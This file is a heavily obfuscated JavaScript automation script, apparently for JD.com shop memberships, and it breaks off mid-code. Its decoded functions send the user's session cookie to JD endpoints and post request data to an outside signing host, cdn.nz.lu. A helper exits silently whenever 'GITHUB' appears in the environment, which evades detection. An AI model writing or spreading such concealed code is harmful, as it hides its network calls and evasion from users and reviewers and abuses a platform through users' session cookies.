_0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x2521=[_0xod2,'\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x61\x30\x70\x69\x59\x32\x67\x3d','\x64\x30\x6c\x71\x59\x55\x30\x3d','\x53\x46\x6c\x48\x5a\x6e\x41\x3d','\x53\x31\x4e\x45\x56\x45\x6f\x3d','\x65\x57\x70\x36\x51\x6b\x59\x3d','\x56\x6b\x4e\x4a\x54\x46\x6b\x3d','\x57\x6d\x5a\x6b\x57\x47\x38\x3d','\x62\x55\x5a\x70\x5a\x32\x34\x3d','\x65\x6e\x52\x6a\x65\x47\x4d\x3d','\x53\x46\x52\x42\x52\x45\x51\x3d','\x63\x30\x52\x74\x63\x6b\x34\x3d','\x64\x47\x4e\x32\x64\x6d\x6f\x3d','\x51\x6b\x56\x52\x64\x45\x30\x3d','\x64\x6e\x5a\x61\x51\x58\x4d\x3d','\x57\x57\x56\x77\x54\x31\x63\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x57\x57\x78\x42\x64\x6d\x67\x3d','\x59\x58\x52\x70\x63\x46\x6f\x3d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x55\x56\x52\x45\x52\x31\x59\x3d','\x56\x57\x5a\x6a\x61\x32\x59\x3d','\x64\x30\x64\x35\x63\x32\x30\x3d','\x5a\x56\x42\x70\x59\x55\x34\x3d','\x61\x6d\x56\x6c\x62\x45\x77\x3d','\x64\x56\x56\x69\x63\x6d\x6f\x3d','\x5a\x30\x52\x43\x64\x56\x67\x3d','\x62\x31\x52\x42\x62\x6b\x73\x3d','\x59\x6e\x5a\x34\x62\x6b\x49\x3d','\x53\x46\x4a\x46\x59\x32\x51\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x64\x58\x70\x79\x59\x55\x34\x3d','\x53\x45\x39\x77\x52\x46\x45\x3d','\x62\x48\x4e\x72\x63\x45\x55\x3d','\x61\x45\x74\x35\x54\x6b\x4d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x55\x57\x31\x50\x63\x6c\x51\x3d','\x64\x55\x4a\x30\x62\x6b\x63\x3d','\x63\x31\x56\x47\x52\x45\x34\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x61\x31\x6c\x51\x52\x6c\x49\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x63\x6c\x5a\x56\x62\x46\x6b\x3d','\x56\x30\x56\x31\x51\x6c\x49\x3d','\x63\x57\x5a\x48\x54\x48\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x52\x55\x64\x6f\x52\x33\x63\x3d','\x55\x6b\x52\x32\x56\x32\x73\x3d','\x59\x56\x4e\x6c\x52\x30\x4d\x3d','\x64\x31\x4e\x4f\x55\x48\x63\x3d','\x63\x33\x5a\x71\x53\x30\x67\x3d','\x52\x55\x78\x75\x63\x56\x59\x3d','\x56\x47\x64\x6c\x62\x57\x38\x3d','\x59\x58\x4e\x33\x59\x33\x59\x3d','\x51\x6b\x39\x58\x62\x58\x45\x3d','\x54\x6b\x70\x44\x59\x6d\x73\x3d','\x61\x33\x70\x47\x57\x45\x55\x3d','\x53\x47\x46\x48\x56\x57\x59\x3d','\x63\x6e\x42\x56\x52\x58\x41\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x57\x6e\x6c\x76\x61\x57\x73\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x5a\x56\x64\x6b\x55\x6d\x55\x3d','\x52\x56\x4e\x31\x65\x57\x6f\x3d','\x55\x30\x56\x5a\x65\x6c\x6f\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x53\x55\x4e\x55\x55\x47\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x54\x47\x46\x4e\x59\x32\x34\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x6b\x6c\x5a\x63\x57\x77\x3d','\x5a\x46\x4e\x51\x64\x45\x59\x3d','\x5a\x56\x68\x4e\x5a\x58\x6f\x3d','\x5a\x32\x56\x30','\x56\x45\x5a\x6f\x57\x57\x38\x3d','\x64\x57\x4e\x32\x61\x6d\x45\x3d','\x52\x55\x4e\x7a\x56\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x53\x6c\x70\x42\x5a\x6c\x63\x3d','\x53\x46\x46\x44\x5a\x45\x59\x3d','\x62\x48\x56\x55\x63\x6d\x51\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x62\x6d\x4a\x71\x63\x6d\x38\x3d','\x55\x58\x52\x47\x61\x56\x67\x3d','\x52\x46\x6c\x31\x63\x57\x63\x3d','\x54\x57\x5a\x44\x62\x6d\x38\x3d','\x59\x6e\x5a\x59\x57\x46\x6f\x3d','\x56\x6b\x6c\x55\x63\x46\x51\x3d','\x51\x33\x46\x4c\x51\x6c\x67\x3d','\x56\x56\x4e\x76\x5a\x45\x59\x3d','\x52\x47\x6c\x32\x54\x58\x59\x3d','\x56\x48\x6c\x6e\x5a\x6d\x30\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x55\x32\x64\x74\x57\x46\x59\x3d','\x5a\x6d\x35\x42\x61\x32\x6b\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x62\x47\x52\x52\x62\x32\x30\x3d','\x54\x55\x70\x53\x63\x45\x63\x3d','\x54\x55\x4e\x6f\x53\x6c\x59\x3d','\x57\x47\x6c\x4b\x63\x6c\x63\x3d','\x6a\x73\x6a\x4b\x7a\x71\x69\x44\x61\x6d\x59\x69\x46\x2e\x52\x4a\x63\x6f\x4f\x65\x6d\x2e\x76\x51\x36\x4b\x43\x62\x3d\x3d'];if(function(_0x2277b4,_0x973061,_0x28df6a){function _0x5bdc51(_0x41f15a,_0x1112ff,_0x8c36a8,_0x1f3f77,_0x1ecf84,_0x5be323){_0x1112ff=_0x1112ff>>0x8,_0x1ecf84='po';var _0x2744bc='shift',_0x2fe2d3='push',_0x5be323='‮';if(_0x1112ff<_0x41f15a){while(--_0x41f15a){_0x1f3f77=_0x2277b4[_0x2744bc]();if(_0x1112ff===_0x41f15a&&_0x5be323==='‮'&&_0x5be323['length']===0x1){_0x1112ff=_0x1f3f77,_0x8c36a8=_0x2277b4[_0x1ecf84+'p']();}else if(_0x1112ff&&_0x8c36a8['replace'](/[KzqDYFRJOeQKCb=]/g,'')===_0x1112ff){_0x2277b4[_0x2fe2d3](_0x1f3f77);}}_0x2277b4[_0x2fe2d3](_0x2277b4[_0x2744bc]());}return 0xde733;};return _0x5bdc51(++_0x973061,_0x28df6a)>>_0x973061^_0x28df6a;}(_0x2521,0x136,0x13600),_0x2521){_0xod2_=_0x2521['length']^0x136;};function _0x219b(_0x19cca3,_0xd01416){_0x19cca3=~~'0x'['concat'](_0x19cca3['slice'](0x1));var _0x5e241a=_0x2521[_0x19cca3];if(_0x219b['SQLhKl']===undefined&&'‮'['length']===0x1){(function(){var _0x2a4157;try{var _0x1a3b6e=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2a4157=_0x1a3b6e();}catch(_0x5649f7){_0x2a4157=window;}var _0x41452e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2a4157['atob']||(_0x2a4157['atob']=function(_0x2e050a){var _0x44c966=String(_0x2e050a)['replace'](/=+$/,'');for(var _0xd76250=0x0,_0x14d201,_0x5e06c3,_0x19370a=0x0,_0x2309e9='';_0x5e06c3=_0x44c966['charAt'](_0x19370a++);~_0x5e06c3&&(_0x14d201=_0xd76250%0x4?_0x14d201*0x40+_0x5e06c3:_0x5e06c3,_0xd76250++%0x4)?_0x2309e9+=String['fromCharCode'](0xff&_0x14d201>>(-0x2*_0xd76250&0x6)):0x0){_0x5e06c3=_0x41452e['indexOf'](_0x5e06c3);}return _0x2309e9;});}());_0x219b['cHEEak']=function(_0x1d83d8){var _0x5d1157=atob(_0x1d83d8);var _0x557fcf=[];for(var _0xa1d923=0x0,_0x302be1=_0x5d1157['length'];_0xa1d923<_0x302be1;_0xa1d923++){_0x557fcf+='%'+('00'+_0x5d1157['charCodeAt'](_0xa1d923)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x557fcf);};_0x219b['yVqUlS']={};_0x219b['SQLhKl']=!![];}var _0x1eab5b=_0x219b['yVqUlS'][_0x19cca3];if(_0x1eab5b===undefined){_0x5e241a=_0x219b['cHEEak'](_0x5e241a);_0x219b['yVqUlS'][_0x19cca3]=_0x5e241a;}else{_0x5e241a=_0x1eab5b;}return _0x5e241a;};function getShopOpenCardInfo(_0x427ea7,_0xd8a74){var _0x57a1ec={'\x54\x46\x68\x59\x6f':function(_0x3bf920,_0xb95601){return _0x3bf920!==_0xb95601;},'\x75\x63\x76\x6a\x61':_0x219b('‮0'),'\x45\x43\x73\x56\x79':_0x219b('‫1'),'\x4a\x5a\x41\x66\x57':_0x219b('‮2'),'\x48\x51\x43\x64\x46':_0x219b('‫3'),'\x6c\x75\x54\x72\x64':_0x219b('‫4'),'\x6e\x62\x6a\x72\x6f':function(_0x1ae4cf,_0x16a0a7){return _0x1ae4cf===_0x16a0a7;},'\x51\x74\x46\x69\x58':_0x219b('‮5'),'\x4d\x66\x43\x6e\x6f':function(_0x524909,_0xd1e9e6){return _0x524909===_0xd1e9e6;},'\x62\x76\x58\x58\x5a':_0x219b('‮6'),'\x56\x49\x54\x70\x54':function(_0x4fae49){return _0x4fae49();},'\x5a\x79\x6f\x69\x6b':function(_0x21d446,_0x2a69bc){return _0x21d446(_0x2a69bc);},'\x64\x53\x50\x74\x46':function(_0x361710,_0x4e7aec){return _0x361710===_0x4e7aec;},'\x65\x58\x4d\x65\x7a':_0x219b('‫7'),'\x65\x57\x64\x52\x65':_0x219b('‮8'),'\x45\x53\x75\x79\x6a':_0x219b('‫9'),'\x53\x45\x59\x7a\x5a':_0x219b('‫a'),'\x49\x43\x54\x50\x66':_0x219b('‮b'),'\x4c\x61\x4d\x63\x6e':function(_0x4511c8,_0x436c7f){return _0x4511c8(_0x436c7f);},'\x66\x49\x59\x71\x6c':_0x219b('‫c')};let _0x43735d={'\x75\x72\x6c':_0x219b('‮d')+_0x57a1ec[_0x219b('‮e')](encodeURIComponent,JSON[_0x219b('‫f')](_0x427ea7))+_0x219b('‫10'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x57a1ec[_0x219b('‮11')],'\x41\x63\x63\x65\x70\x74':_0x57a1ec[_0x219b('‫12')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x57a1ec[_0x219b('‮13')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x57a1ec[_0x219b('‫19')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0xd8a74+_0x219b('‫1b')+_0x57a1ec[_0x219b('‫1c')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x57a1ec[_0x219b('‮1e')]}};return new Promise(_0x4d8528=>{var _0x4a857c={'\x44\x59\x75\x71\x67':function(_0x1cc541,_0x551ac5){return _0x57a1ec[_0x219b('‮e')](_0x1cc541,_0x551ac5);}};if(_0x57a1ec[_0x219b('‫1f')](_0x57a1ec[_0x219b('‫20')],_0x57a1ec[_0x219b('‫20')])){$[_0x219b('‮21')](_0x43735d,(_0x42bd53,_0xba57c8,_0x114bc1)=>{try{if(_0x42bd53){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮23')],_0x57a1ec[_0x219b('‮24')])){console[_0x219b('‫25')](_0x42bd53);}else{res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‫2d')],_0x57a1ec[_0x219b('‮2e')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮2f')],_0x57a1ec[_0x219b('‮2f')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}catch(_0x435943){if(_0x57a1ec[_0x219b('‮32')](_0x57a1ec[_0x219b('‮33')],_0x57a1ec[_0x219b('‮33')])){console[_0x219b('‫25')](_0x435943);}else{_0x4a857c[_0x219b('‮34')](_0x4d8528,_0x114bc1);}}finally{if(_0x57a1ec[_0x219b('‫35')](_0x57a1ec[_0x219b('‮36')],_0x57a1ec[_0x219b('‮36')])){_0x57a1ec[_0x219b('‮37')](_0x4d8528);}else{if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}});}else{console[_0x219b('‫25')](err);}});}async function bindWithVender(_0x6a4f96,_0x2eb643){var _0x5c8438={'\x48\x59\x47\x66\x70':function(_0x343f54,_0x48d0e2){return _0x343f54===_0x48d0e2;},'\x4b\x53\x44\x54\x4a':_0x219b('‫38'),'\x79\x6a\x7a\x42\x46':function(_0x3b41cd,_0x4dfdef){return _0x3b41cd===_0x4dfdef;},'\x56\x43\x49\x4c\x59':_0x219b('‫39'),'\x5a\x66\x64\x58\x6f':_0x219b('‫3a'),'\x6d\x46\x69\x67\x6e':function(_0xb6e3d8,_0x23686f){return _0xb6e3d8===_0x23686f;},'\x7a\x74\x63\x78\x63':_0x219b('‫3b'),'\x48\x54\x41\x44\x44':function(_0xb2175d){return _0xb2175d();},'\x53\x67\x6d\x58\x56':function(_0x5c652b,_0x377eb0,_0x40b9c8){return _0x5c652b(_0x377eb0,_0x40b9c8);},'\x66\x6e\x41\x6b\x69':_0x219b('‫3c'),'\x6c\x64\x51\x6f\x6d':_0x219b('‮8'),'\x4d\x4a\x52\x70\x47':_0x219b('‫9'),'\x4d\x43\x68\x4a\x56':_0x219b('‫a'),'\x58\x69\x4a\x72\x57':_0x219b('‮b'),'\x6b\x4a\x62\x63\x68':function(_0x43c66b,_0x13d811){return _0x43c66b(_0x13d811);},'\x77\x49\x6a\x61\x4d':_0x219b('‫c')};return h5st=await _0x5c8438[_0x219b('‫3d')](geth5st,_0x5c8438[_0x219b('‫3e')],_0x6a4f96),opt={'\x75\x72\x6c':_0x219b('‮3f')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8438[_0x219b('‮40')],'\x41\x63\x63\x65\x70\x74':_0x5c8438[_0x219b('‮41')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8438[_0x219b('‫42')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x5c8438[_0x219b('‮43')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0x2eb643+_0x219b('‮44')+_0x5c8438[_0x219b('‫45')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x5c8438[_0x219b('‫46')]}},new Promise(_0x215897=>{$[_0x219b('‮21')](opt,(_0x52284b,_0x327a7e,_0x1bb051)=>{try{if(_0x52284b){if(_0x5c8438[_0x219b('‫47')](_0x5c8438[_0x219b('‫48')],_0x5c8438[_0x219b('‫48')])){console[_0x219b('‫25')](_0x52284b);}else{console[_0x219b('‫25')](error);}}else{if(_0x5c8438[_0x219b('‮49')](_0x5c8438[_0x219b('‮4a')],_0x5c8438[_0x219b('‫4b')])){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}catch(_0x55bfed){if(_0x5c8438[_0x219b('‮4c')](_0x5c8438[_0x219b('‮4d')],_0x5c8438[_0x219b('‮4d')])){console[_0x219b('‫25')](_0x55bfed);}else{if(_0x52284b){console[_0x219b('‫25')](_0x52284b);}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}finally{_0x5c8438[_0x219b('‮4e')](_0x215897);}});});}function geth5st(_0x1103d7,_0x586621){var _0x430883={'\x51\x54\x44\x47\x56':function(_0x1e7d03){return _0x1e7d03();},'\x55\x66\x63\x6b\x66':function(_0x5ab017,_0x2b8838){return _0x5ab017*_0x2b8838;},'\x77\x47\x79\x73\x6d':function(_0x5935c8,_0x185779){return _0x5935c8!==_0x185779;},'\x65\x50\x69\x61\x4e':_0x219b('‫4f'),'\x6a\x65\x65\x6c\x4c':_0x219b('‮50'),'\x75\x55\x62\x72\x6a':function(_0x1a5aa8,_0x52ae2c){return _0x1a5aa8===_0x52ae2c;},'\x67\x44\x42\x75\x58':_0x219b('‫51'),'\x6f\x54\x41\x6e\x4b':_0x219b('‫52'),'\x62\x76\x78\x6e\x42':function(_0xa50297,_0x6b8ce2){return _0xa50297(_0x6b8ce2);},'\x48\x52\x45\x63\x64':_0x219b('‮53'),'\x75\x7a\x72\x61\x4e':_0x219b('‮54'),'\x48\x4f\x70\x44\x51':_0x219b('‫55'),'\x6c\x73\x6b\x70\x45':_0x219b('‮56'),'\x68\x4b\x79\x4e\x43':_0x219b('‮57'),'\x51\x6d\x4f\x72\x54':_0x219b('‫58'),'\x75\x42\x74\x6e\x47':_0x219b('‮59'),'\x6b\x59\x50\x46\x52':_0x219b('‮5a')};return new Promise(async _0x255c7d=>{var _0x373d32={'\x73\x55\x46\x44\x4e':function(_0x16c255){return _0x430883[_0x219b('‫5b')](_0x16c255);},'\x45\x47\x68\x47\x77':function(_0x2bd73b,_0xef9125){return _0x430883[_0x219b('‮5c')](_0x2bd73b,_0xef9125);},'\x72\x56\x55\x6c\x59':function(_0x3d06bf,_0x4e3e01){return _0x430883[_0x219b('‫5d')](_0x3d06bf,_0x4e3e01);},'\x57\x45\x75\x42\x52':_0x430883[_0x219b('‮5e')],'\x71\x66\x47\x4c\x74':_0x430883[_0x219b('‫5f')],'\x52\x44\x76\x57\x6b':function(_0xd1e750,_0x1d575d){return _0x430883[_0x219b('‫60')](_0xd1e750,_0x1d575d);},'\x61\x53\x65\x47\x43':_0x430883[_0x219b('‮61')],'\x77\x53\x4e\x50\x77':_0x430883[_0x219b('‮62')],'\x73\x76\x6a\x4b\x48':function(_0x2a1cfb,_0x46f22f){return _0x430883[_0x219b('‮63')](_0x2a1cfb,_0x46f22f);}};if(_0x430883[_0x219b('‫5d')](_0x430883[_0x219b('‮64')],_0x430883[_0x219b('‮64')])){$[_0x219b('‫65')](e,resp);}else{let _0x30ff4={'\x61\x70\x70\x49\x64':_0x430883[_0x219b('‮66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x430883[_0x219b('‮67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1103d7,'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x586621),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x430883[_0x219b('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x219b('‫2c')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2be600='';let _0xb852e3=[_0x430883[_0x219b('‮69')]];if(process[_0x219b('‫6a')][_0x219b('‮6b')]){if(_0x430883[_0x219b('‫60')](_0x430883[_0x219b('‮6c')],_0x430883[_0x219b('‫6d')])){_0x373d32[_0x219b('‮6e')](_0x255c7d);}else{_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x430883[_0x219b('‮5c')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}let _0x1ba80c={'\x75\x72\x6c':_0x219b('‮72'),'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x30ff4),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2be600,'Content-Type':_0x430883[_0x219b('‫73')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x430883[_0x219b('‮5c')](0x1e,0x3e8)};$[_0x219b('‫74')](_0x1ba80c,async(_0x46941b,_0x74988f,_0x30ff4)=>{try{if(_0x46941b){if(_0x373d32[_0x219b('‮75')](_0x373d32[_0x219b('‮76')],_0x373d32[_0x219b('‫77')])){_0x30ff4=await geth5st[_0x219b('‮78')](this,arguments);}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x373d32[_0x219b('‮79')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}}else{}}catch(_0x290dbf){$[_0x219b('‫65')](_0x290dbf,_0x74988f);}finally{if(_0x373d32[_0x219b('‫7a')](_0x373d32[_0x219b('‫7b')],_0x373d32[_0x219b('‮7c')])){_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}else{_0x373d32[_0x219b('‮7d')](_0x255c7d,_0x30ff4);}}});}});};_0xod2='jsjiami.com.v6'; -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const 